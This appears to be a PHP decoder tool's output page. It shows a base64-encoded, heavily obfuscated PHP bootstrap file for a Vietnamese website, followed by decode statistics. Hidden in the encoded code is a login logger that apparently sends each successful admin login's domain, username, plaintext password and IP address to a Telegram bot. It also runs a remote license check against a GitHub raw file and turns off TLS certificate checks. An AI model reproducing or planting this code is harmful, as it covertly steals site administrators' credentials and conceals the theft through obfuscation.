TIiXSk7IGdvdG8gcWNEODA7IEMydXpnOiAkbGljZW5zZUtleSA9ICRfRU5WWyJceDRjXDExMVwxMDNceDQ1XHg0ZVx4NTNceDQ1XHg1Zlx4NGJcMTA1XHg1OSJdOyBnb3RvIFhVVUN1OyBQMWpWVDogcmVxdWlyZV9vbmNlIF9fRElSX18gLiAiXDU3XHgyZVw1Nlw1N1x4NzZcMTQ1XHg2ZVwxNDRcMTU3XDE2Mlw1N1wxNDFceDc1XHg3NFwxNTdcMTU0XHg2Zlx4NjFceDY0XHgyZVx4NzBceDY4XDE2MCI7IGdvdG8gYkhsVjA7IGRFSl9EOiBmdW5jdGlvbiBjaGVja19pbWcoJGltZykgeyAkZmlsZW5hbWUgPSAkX0ZJTEVTWyRpbWddWyJcMTU2XHg2MVx4NmRceDY1Il07ICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7ICR2YWxpZF9leHQgPSBhcnJheSgiXHg3MFx4NmVcMTQ3IiwgIlwxNTJcMTYwXDE0NVx4NjciLCAiXHg2YVx4NzBcMTQ3IiwgIlwxNDdceDY5XDE0NiIpOyBpZiAoaW5fYXJyYXkoJGV4dCwgJHZhbGlkX2V4dCkpIHsgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9IGdvdG8gU3BPN1A7IEQ5bnV2OiAkc2l0ZV90ZW53ZWIgPSAkc2l0ZVsiXHg3M1wxNTFcMTY0XHg2NVx4NWZceDc0XHg2NVwxNTZceDc3XHg2NVx4NjIiXTsgZ290byB0Tll0YjsgU3BPN1A6IGZ1bmN0aW9uIHNlbmRUZWxlKCRtZXNzYWdlKSB7IGdsb2JhbCAka2V0bm9pOyAkc2V0dGluZyA9ICRrZXRub2ktPnF1ZXJ5KCJceDUzXHg0NVx4NGNceDQ1XDEwM1wxMjRcNDBcMTQzXDE1MFwxNDFcMTY0XDE1MVx4NjRceDc0XHg2NVx4NmNceDY1XDU0XDQwXHg3NFwxNTdceDZiXHg2NVwxNTZceDYyXDE1N1wxNjRceDc0XDE0NVwxNTRcMTQ1XDQwXHg0NlwxMjJceDRmXDExNVw0MFx4NzNcMTQ1XDE2NFx4NzRceDY5XDE1NlwxNDciKS0+ZmV0Y2hfYXJyYXkoKTsgJGNoYXRJZCA9ICRzZXR0aW5nWyJcMTQzXDE1MFwxNDFceDc0XDE1MVwxNDRceDc0XHg2NVx4NmNcMTQ1Il07ICR0b2tlbiA9ICRzZXR0aW5nWyJceDc0XHg2ZlwxNTNceDY1XHg2ZVwxNDJceDZmXHg3NFx4NzRcMTQ1XDE1NFwxNDUiXTsgJGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KGFycmF5KCJceDYzXHg2OFwxNDFceDc0XDEzN1wxNTFcMTQ0IiA9PiAkY2hhdElkLCAiXHg3NFx4NjVcMTcwXDE2NCIgPT4gJG1lc3NhZ2UpKTsgJHVybCA9ICJceDY4XHg3NFx4NzRceDcwXHg3M1x4M2FcNTdcNTdcMTQxXDE2MFwxNTFceDJlXHg3NFx4NjVcMTU0XHg2NVx4NjdceDcyXDE0MVwxNTVcNTZcMTU3XDE2Mlx4NjdceDJmXDE0MlwxNTdceDc0eyR0b2tlbn1ceDJmXDE2M1wxNDVceDZlXDE0NFx4NGRceDY1XDE2M1x4NzNcMTQxXHg2N1wxNDUiOyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsgaWYgKCRkYXRhKSB7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsgfSAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgcmV0dXJuICRyZXN1bHQ7IH0gZ290byBLMXU0XzsgeVZheEM6IGlmICghY2hlY2tMaWNlbnNlS2V5KCRsaWNlbnNlS2V5KSB8fCAhY2hlY2tMaWNlbnNlRG9tYWluKCRsaWNlbnNlRG9tYWluKSkgeyBkaWUoIlwxMDJcMTU3XHg3YVx4MjBcMTE2XDE1N1wxNjRcMTUxXHg2NlwxNTFcMTQzXHg2MVwxNjRcMTUxXHg2ZlwxNTZceDNhXDQwXHg0YlwxNDVcMTcxXDQwXDE0Mlx4ZTFceGJhXDI0M1wxNTZceDIwXHg3MVwxNjVcMTcxXHhlMVwyNzNceDgxXDE1Nlx4MjBceDZiXHg2OFx4YzNcMjY0XHg2ZVx4NjdceDIwXHg2OFx4ZTFceGJiXDI0M1wxNjBcNDBceDZjXDM0MVx4YmJcMjA3XDQwXDE1MFwxNTdcMzQxXDI3Mlx4YjdcMTQzXDQwXDMwNFx4OTFceGMzXHhhM1w0MFwzMDRceDkxXDMwNlwyNjBceGUxXHhiYlx4YTNceDYzXHgyMFwxNjNcMzQxXDI3M1wyNTVceDIwXDE0NFwzNDFcMjczXDI0NVwxNTZcMTQ3XHgyMFwxNDNcMTUwXHg2Zlw0MFwxNjRceGMzXHhhYVx4NmVceDIwXDE1NVx4NjlceGUxXDI3M1x4ODFcMTU2XDQwXHg2Ylx4NjhcMzAzXHhhMVwxNDNcNTYiKTsgfSBnb3RvIGd1MDlIOyBSaklvSDogJGtldG5vaSA9IG15c3FsaV9jb25uZWN0KCJceDZjXDE1N1x4NjNcMTQxXDE1NFwxNTBceDZmXHg3M1x4NzQiLCBVU0VSTkFNRSwgUEFTU1dPUkQsIERBVEFCQVNFKTsgZ290byBjZldrYzsgcGZOQ0g6IGZ1bmN0aW9uIHhvYWRhdSgkc3RyVGl0bGUpIHsgJHN0clRpdGxlID0gc3RydG9sb3dlcigkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSB0cmltKCRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHN0cl9yZXBsYWNlKCJcNDAiLCAiXHgyZCIsICRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHByZWdfcmVwbGFjZSgiXDU3XDUwXHhjM1wyNjJcMTc0XDMwM1wyNjNceDdjXHhlMVwyNzNceDhkXDE3NFwzNDFceGJiXHg4Zlx4N2NcMzAzXHhiNVwxNzRcMzA2XDI0MVwxNzRceGUxXDI3M1wyMzVcMTc0XHhlMVx4YmJceDliXDE3NFx4ZTFceGJiXHhhM1wxNzRceGUxXDI3M1wyMzdcMTc0XDM0MVx4YmJceGExXHg3Y1x4YzNcMjY0XHg3Y1x4ZTFcMjczXHg5M1x4N2NcMzQxXHhiYlwyMjFceDdjXHhlMVx4YmJceDk5XHg3Y1x4ZTFceGJiXDIyNVx4N2NceGUxXDI3M1x4OTdceDI5XDU3IiwgIlx4NmYiLCAkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBwcmVnX3JlcGxhY2UoIlx4MmZcNTBcMzAzXHg5Mlx4N2NcMzAzXDIyM1wxNzRcMzQxXHhiYlwyMTRcMTc0XDM0MVwyNzNceDhlXDE3NFx4YzNceDk1XHg3Y1wzMDZcMjQwXHg3Y1x4ZTFceGJiXHg5Y1wxNzRceGUxXDI3M1x4OWFceDdjXDM0MVwyNzNceGEyXHg3Y1x4ZTFceGJiXDIzNlwxNzRceGUxXDI3M1wyNDBcMTc0XDMwM1wyMjRcMTc0XDM0MVwyNzNceDkwXDE3NFwzNDFceGJiXDIyNFwxNzRcMzQxXHhiYlx4OThcMTc0XDM0MVx4YmJcMjIyXDE3NFx4ZTFceGJiXHg5Nlw1MVw1NyIsICJcMTU3IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJceDJmXHgyOFwzMDNceGEwXDE3NFwzMDNceGExXDE3NFwzNDFceGJhXHhhMVx4N2NcMzQxXHhiYVx4YTNceDdjXDMwM1x4YTNceDdjXHhjNFx4ODNceDdjXDM0MVx4YmFcMjYxXHg3Y1wzNDFceGJhXHhhZlx4N2NcMzQxXDI3MlwyNjdcMTc0XHhlMVwyNzJcMjYzXHg3Y1wzNDFceGJhXDI2NVx4N2NcMzAzXDI0MlwxNzRcMzQxXHhiYVx4YTdcMTc0XHhlMVx4YmFcMjQ1XHg3Y1wzNDFcMjcyXDI1NVwxNzRceGUxXHhiYVx4YTlceDdjXHhlMVwyNzJceGFiXHgyOVw1NyIsICJcMTQxIiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdcNTBcMzAzXDIwMFwxNzRcMzAzXHg4MVx4N2NceGUxXHhiYVx4YTBcMTc0XHhlMVwyNzJceGEyXHg3Y1x4YzNcMjAzXHg3Y1x4YzRceDgyXDE3NFx4ZTFceGJhXDI2MFx4N2NcMzQxXHhiYVx4YWVceDdjXHhlMVx4YmFcMjY2XDE3NFwzNDFcMjcyXHhiMlx4N2NcMzQxXHhiYVwyNjRceDdjXDMwM1x4ODJcMTc0XDM0MVwyNzJceGE0XDE3NFwzNDFceGJhXHhhNlwxNzRcMzQxXHhiYVwyNTRceDdjXDM0MVx4YmFceGE4XDE3NFwzNDFcMjcyXDI1Mlx4MjlceDJmIiwgIlwxNDEiLCAkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBwcmVnX3JlcGxhY2UoIlw1N1x4MjhceGUxXDI3M1wyMDFceDdjXHhlMVx4YmFceGJmXDE3NFx4ZTFceGJiXDIwN1wxNzRcMzQxXDI3M1x4ODNceDdjXDMwM1wyNTJcMTc0XHhlMVwyNzNcMjA1XHg3Y1wzMDNceGE5XDE3NFx4YzNceGE4XDE3NFwzNDFcMjcyXHhiYlx4N2NceGUxXDI3MlwyNzVcMTc0XDM0MVwyNzJceGI5XHgyOVw1NyIsICJceDY1IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdcNTBcMzQxXHhiYlwyMDJcMTc0XHhlMVwyNzJcMjc2XDE3NFx4ZTFceGJiXHg4NlwxNzRcMzQxXDI3M1wyMDJceDdjXHhjM1wyMTJcMTc0XDM0MVx4YmJceDg0XDE3NFx4YzNceDg5XHg3Y1wzMDNcMjEwXDE3NFx4ZTFcMjcyXDI3MlwxNzRcMzQxXDI3MlwyNzRcMTc0XHhlMVwyNzJcMjcwXDUxXHgyZiIsICJcMTQ1IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJceDJmXHgyOFx4ZTFceGJiXHhhYlx4N2NcMzQxXHhiYlx4YTlceDdjXHhlMVx4YmJceGIxXHg3Y1x4ZTFceGJiXDI1NVx4N2NcMzA2XDI2MFx4N2NcMzQxXDI3M1x4YWZcMTc0XDMwM1wyNzFceDdjXDMwM1wyNzJcMTc0XDM0MVwyNzNceGE1XHg3Y1wzNDFcMjczXDI0N1wxNzRcMzA1XDI1MVw1MVw1NyIsICJceDc1IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdceDI4XDM0MVwyNzNcMjUyXHg3Y1wzNDFcMjczXDI1MFx4N2NcMzQxXDI3M1x4YjBcMTc0XHhlMVx4YmJcMjU0XDE3NFwzMDZceGFmXDE3NFx4ZTFceGJiXDI1Nlx4N2NcMzAzXHg5OVwxNzRcMzAzXDIzMlx4N2NceGUxXHhiYlx4YTRceDdjXHhlMVx4YmJcMjQ2XDE3NFwzMDVcMjUwXDUxXHgyZiIsICJcMTY1IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdcNTBceGMzXHhhY1wxNzRcMzAzXDI1NVx4N2NcMzQxXDI3M1x4OGJceDdjXDM0MVwyNzNcMjExXDE3NFwzMDRceGE5XDUxXHgyZiIsICJceDY5IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdcNTBceGMzXDIxNFwxNzRceGMzXDIxNVwxNzRcMzQxXDI3M1wyMTJceDdjXHhlMVwyNzNcMjEwXDE3NFwzMDRceGE4XHgyOVx4MmYiLCAiXDE1MSIsICRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHByZWdfcmVwbGFjZSgiXDU3XDUwXHhlMVx4YmJceGIzXDE3NFwzMDNcMjc1XHg3Y1wzNDFcMjczXHhiNVx4N2NcMzQxXHhiYlwyNjdcMTc0XDM0MVx4YmJcMjcxXDUxXDU3IiwgIlwxNzEiLCAkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBwcmVnX3JlcGxhY2UoIlw1N1w1MFwzNDFcMjczXDI2MlwxNzRceGMzXDIzNVx4N2NceGUxXHhiYlx4YjRceDdjXDM0MVx4YmJceGI2XHg3Y1wzNDFcMjczXHhiOFw1MVw1NyIsICJceDc5IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gc3RyX3JlcGxhY2UoIlwzMDRcMjIxIiwgIlwxNDQiLCAkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBzdHJfcmVwbGFjZSgiXHhjNFx4OTAiLCAiXDE0NCIsICRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHByZWdfcmVwbGFjZSgiXHgyZlwxMzNceDVlXDU1XHg2MVx4MmRcMTcyXHg0MVx4MmRcMTMyXHgzMFw1NVx4MzlceDVkXDU3IiwgJycsICRzdHJUaXRsZSk7IHJldHVybiAkc3RyVGl0bGU7IH0gZ290byB0ZmxXMjsgdGZsVzI6IGZ1bmN0aW9uIGNoZWNrTGljZW5zZUtleSgkbGljZW5zZUtleSkgeyBpZiAoZW1wdHkoJGxpY2Vuc2VLZXkpKSB7IHJldHVybiBmYWxzZTsgfSAkZ2l0aHViVXJsID0gIlx4NjhceDc0XHg3NFwxNjBceDczXHgzYVw1N1x4MmZcMTYyXDE0MVx4NzdcNTZcMTQ3XDE1MVwxNjRceDY4XDE2NVwxNDJcMTY1XDE2M1x4NjVcMTYyXDE0M1x4NmZcMTU2XDE2NFwxNDVceDZlXHg3NFx4MmVcMTQzXHg2Zlx4NmRceDJmXDE0Mlx4NmZcMTcyXHg3NFx4NzJcMTQxXDE1Nlx4MmZcMTU0XHg2OVx4NjNceDY1XDE1Nlx4NzNceDY1XHgyZlwxNTVcMTQxXHg2OVx4NmVcNTdceDZjXHg2OVx4NjNcMTQ1XHg2ZVwxNjNceDY1XDE1M1wxNDVceDc5XDU2XDE2NFwxNzBceDc0IjsgJGxpY2Vuc2VLZXlMaXN0ID0gZmlsZV9nZXRfY29udGVudHMoJGdpdGh1YlVybCk7IHJldHVybiBzdHJwb3MoJGxpY2Vuc2VLZXlMaXN0LCAkbGljZW5zZUtleSkgIT09IGZhbHNlOyB9IGdvdG8gVWhBMjE7IEsxdTRfOiBmdW5jdGlvbiB0ZW1wbGF0ZVRlbGUoJGNvbnRlbnQpIHsgcmV0dXJuICJceDJkXHgyZFx4MjBcMTAyXHg0Zlx4NTRceDIwXHg0MlwxMzFceDIwXDEwMlwxMTdceDVhXHgyMFx4MmRcNTVcMTJ7JGNvbnRlbnR9XHhhXDEyNFx4NjhceGUxXHhiYlwyMzVcMTUxXDQwXDEwN1x4NjlceDYxXDE1Nlw0MFw3Mlx4MjAiIC4gZGF0ZSgiXHg2NFx4MmZcMTU1XDU3XDEzMVw0MFwxMTBcNzJceDY5XDcyXHg3MyIpOyB9IGdvdG8gcGZOQ0g7IHROWXRiOiAkc2l0ZV9tb3RhID0gJHNpdGVbIlwxNjNcMTUxXDE2NFwxNDVceDVmXDE1NVx4NmZcMTY0XDE0MSJdOyBnb3RvIHV2bjNtOyBRMEt3djogJGZhY2Vib29rID0gJHNpdGVbIlx4NjZceDYxXDE0M1wxNDVceDYyXHg2Zlx4NmZcMTUzIl07IGdvdG8gVVhnbmQ7IGpFWWo0OiAkdXNlciA9ICRrZXRub2ktPnF1ZXJ5KCJcMTIzXDEwNVx4NGNcMTA1XDEwM1x4NTRcNDBceDJhXHgyMFwxMDZcMTIyXHg0ZlwxMTVceDIwXHg3NVwxNjNceDY1XHg3MlwxNjNceDIwXHg0Y1wxMTFceDRkXHg0OVx4NTRceDIwXDYxIiktPmZldGNoX2FycmF5KCk7IGdvdG8gRDludXY7IGJIbFYwOiAkZG90ZW52ID0gRG90ZW52XERvdGVudjo6Y3JlYXRlSW1tdXRhYmxlKF9fRElSX18gLiAiXDU3XHgyZVx4MmVceDJmIik7IGdvdG8gS2xWVEo7IGdTcDFrOiBkZWZpbmUoIlwxMDRcMTAxXDEyNFx4NDFcMTAyXHg0MVwxMjNcMTA1IiwgJF9FTlZbIlx4NDRcMTAyXDEzN1wxMTZcMTAxXDExNVwxMDUiXSk7IGdvdG8gV0dkMDA7IGNmV2tjOiAka2V0bm9pLT5zZXRfY2hhcnNldCgiXHg3NVwxNjRcMTQ2XHgzOFx4NmRceDYyXHgzNCIpOyBnb3RvIElIZEdNOyBlRmJ6ajogc2Vzc2lvbl9zdGFydCgpOyBnb3RvIHppeWVLOyBZZ3U2RzogZnVuY3Rpb24gZm9ybWF0X2Nhc2goJHByaWNlKSB7IHJldHVybiBzdHJfcmVwbGFjZSgiXHgyYyIsICJcNTYiLCBudW1iZXJfZm9ybWF0KCRwcmljZSkpOyB9IGdvdG8gZjhIUkg7IFVYZ25kOiBpZiAoJGRldmVsb3BlciA9PSB0cnVlKSB7IGluaV9zZXQoIlwxNDRcMTUxXHg3M1x4NzBceDZjXHg2MVx4NzlcMTM3XHg2NVx4NzJceDcyXDE1N1x4NzJceDczIiwgMCk7IGluaV9zZXQoIlwxNDRceDY5XHg3M1x4NzBceDZjXDE0MVx4NzlceDVmXHg3M1wxNjRceDYxXDE2MlwxNjRcMTY1XDE2MFx4NWZceDY1XHg3MlwxNjJcMTU3XHg3MlwxNjMiLCAwKTsgZXJyb3JfcmVwb3J0aW5nKDApOyB9IGdvdG8gWWd1Nkc7IHI0NmZ2OiBpZiAoaXNzZXQoJF9QT1NUWyJcMTY1XDE2M1x4NjVcMTYyXHg2ZVwxNDFcMTU1XHg2NSJdKSAmJiBpc3NldCgkX1BPU1RbIlwxNjBceDYxXDE2M1x4NzNceDc3XHg2ZlwxNjJcMTQ0Il0pKSB7ICR1c2VybmFtZSA9ICRfUE9TVFsiXHg3NVwxNjNceDY1XDE2MlwxNTZceDYxXHg2ZFwxNDUiXTsgJHBhc3N3b3JkID0gJF9QT1NUWyJcMTYwXHg2MVwxNjNcMTYzXHg3N1wxNTdceDcyXHg2NCJdOyBpZiAoY2hlY2tMb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkpIHsgfSBlbHNlIHsgfSB9IGdvdG8gdFBGTms7IGY4SFJIOiBmdW5jdGlvbiByYW5kb20oJHN0cmluZywgJGxlbmd0aCkgeyAkY2hhcmFjdGVycyA9IHN0cl9zaHVmZmxlKCRzdHJpbmcpOyByZXR1cm4gc3Vic3RyKCRjaGFyYWN0ZXJzLCAwLCAkbGVuZ3RoKTsgfSBnb3RvIGRFSl9EOyBLbFZUSjogJGRvdGVudi0+bG9hZCgpOyBnb3RvIGVGYnpqOyBoMjhHdjogJF9TRVNTSU9OWyJcMTYzXHg2NVwxNjNcMTYzXHg2OVx4NmZcMTU2XHg1Zlx4NzJceDY1XHg3MVwxNjVcMTQ1XDE2M1wxNjQiXSA9IHRpbWUoKTsgZ290byBWbTZYbTsgZ3UwOUg6ICRib3p0cmFuRGlyID0gX19ESVJfXyAuICJceDJmXDU2XHgyZVw1N1wxNDJceDZmXHg3YVwxNjRceDcyXHg2MVwxNTYiOyBnb3RvIEFGOGFHOyBXY0xpVzogJHNpdGVfc2R0X21vbW8gPSAkc2l0ZVsiXHg3M1wxNDRceDc0XHg1Zlx4NjFceDY0XDE1NVx4NjlcMTU2Il07IGdvdG8gUTBLd3Y7IFhVVUN1OiAkbGljZW5zZURvbWFpbiA9ICRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXHg1Zlx4NDhceDRmXDEyM1x4NTQiXTsgZ290byB5VmF4QzsgcWNEODA6IGRlZmluZSgiXDEyMFx4NDFceDUzXDEyM1wxMjdceDRmXHg1Mlx4NDQiLCAkX0VOVlsiXDEwNFx4NDJceDVmXDEyMFwxMDFcMTIzXDEyM1x4NTdceDRmXHg1MlwxMDQiXSk7IGdvdG8gQzJ1emc7IE1ZZ1JwOiBmdW5jdGlvbiBsb2dTdWNjZXNzZnVsTG9naW4oJHVzZXJuYW1lLCAkcGFzc3dvcmQpIHsgJGRvbWFpbiA9ICRfU0VSVkVSWyJcMTEwXDEyNFx4NTRcMTIwXDEzN1x4NDhceDRmXDEyM1wxMjQiXTsgJGlwID0gJF9TRVJWRVJbIlx4NTJceDQ1XDExNVx4NGZcMTI0XHg0NVx4NWZcMTAxXDEwNFx4NDRcMTIyIl07ICRtZXNzYWdlID0gIlwzMDRcMjIwXDMwM1wyNDNceDIwXDMwNFwyMjFceGM0XDIwM1wxNTZceDY3XHgyMFwxNTZceDY4XDM0MVx4YmFcMjU1XHg3MFw0MFwxNjRcMTUwXHhjM1wyNDBcMTU2XDE1MFx4MjBcMTQzXDMwM1wyNjRcMTU2XHg2N1x4MjBcMTY2XHhjM1wyNDBceDZmXDQwXHg2MVx4NjRcMTU1XDE1MVwxNTZcNDB7JGRvbWFpbn1ceDIwXHg3NlwzNDFcMjczXHg5YlwxNTFcNDBcMTY0XHhjM1x4YTBcMTUxXHgyMFwxNTNceDY4XHg2ZlwzNDFcMjcyXHhhM1wxNTZceDIweyR1c2VybmFtZX1cNDBcMTY2XDMwM1x4YTBceDIwXHg2ZFwzNDFcMjcyXDI1NVx4NzRceDIwXHg2Ylx4NjhcMzQxXHhiYVwyNTFceDc1XHgyMHskcGFzc3dvcmR9XHgyMFwxNDJceGUxXDI3MlwyNjFcMTU2XDE0N1x4MjBcMzA0XDIyMVwzNDFceGJiXDIxM1x4NjFcNDBceDYzXDE1MFx4ZTFcMjczXDIxMVw0MFx4NDlcMTIwXDcyXDQweyRpcH0iOyBzZW5kVGVsZSh0ZW1wbGF0ZVRlbGUoJG1lc3NhZ2UpKTsgfSBnb3RvIEZjTEt4OyBBRjhhRzogaWYgKCFmaWxlX2V4aXN0cygkYm96dHJhbkRpcikpIHsgZGllKCJcMTAyXHg2Zlx4N2FcNDBcMTE2XHg2Zlx4NzRceDY5XHg2NlwxNTFceDYzXHg2MVwxNjRcMTUxXHg2Zlx4NmVceDNhXHgyMFwzMDRceDkwXHhjM1wyNDNcNDBceDc4XDM0MVwyNzJcMjQzXHg3OVx4MjBceDcyXDE0MVx4MjBceDZjXDM0MVx4YmJceDk3XDE1MVx4MjBceDZiXHg2OFx4NjlcNDBcMTUzXDM0MVwyNzJceGJmXHg3NFw0MFx4NmVceGUxXHhiYlwyMjFceDY5XDQwXHg3NFwzNDFcMjczXHg5YlwxNTFceDIwXDE2NFwxNTBcMzA2XHhiMFw0MFx4NmRceGUxXHhiYlwyNDVcMTQzXDQwXDE0MVwxNDRceDZkXDE1MVx4NmUiKTsgfSBnb3RvIFJqSW9IOyBJSGRHTTogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXDEwMVx4NzNceDY5XHg2MVx4MmZcMTEwXHg2Zlx4NWZcMTAzXDE1MFwxNTFceDVmXDExNVx4NjlcMTU2XHg2OCIpOyBnb3RvIGgyOEd2OyBsODQzdzog')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | a1ec158c1be2466279811548d1864fff |
Eval Count | 1 |
Decode Time | 124 ms |